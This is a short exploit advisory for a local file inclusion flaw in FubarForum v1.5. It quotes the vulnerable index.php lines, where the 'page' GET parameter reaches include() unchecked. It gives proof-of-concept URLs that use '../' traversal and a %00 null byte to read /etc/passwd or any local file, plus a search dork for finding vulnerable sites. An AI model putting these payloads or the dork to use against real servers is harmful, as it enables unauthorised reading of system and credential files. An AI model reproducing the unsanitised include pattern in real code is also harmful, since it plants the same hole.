fubarforum-lfi.txt

`###################################################################################  
#  
# Name : FubarForum v1.5 Local File Inclusion Vulnerability  
# Author : cOndemned  
# Dork : for ex. "Powered by FubarForum v1.5"  
# Greetz : TBH, GregStar, ZaBeaTy, irk4z, Hawk, Sandtalker & Avantura ;*  
#  
###################################################################################  
  
Source :  
  
// index.php  
  
5. if (!empty($_GET['page'])) { $page = $_GET['page']; } // <---- $page is being sended using GET method  
  
91. if (file_exists("./".$page.".php")) { // <---- if only the file exists and we can use null byte (%00)  
  
98. include("./".$page.".php"); // <---- our file will be included here :))  
  
PoC :  
  
http://[host]/[fubarforum_path]/index.php?page=../../../../etc/passwd%00  
http://[host]/[fubarforum_path]/index.php?page=../../../../[local_file]%00  
  
###################################################################################  
#  
# Together We stand tall, not gonna crash, not gonna fall - Children of Bodom  
#  
###################################################################################  
  
`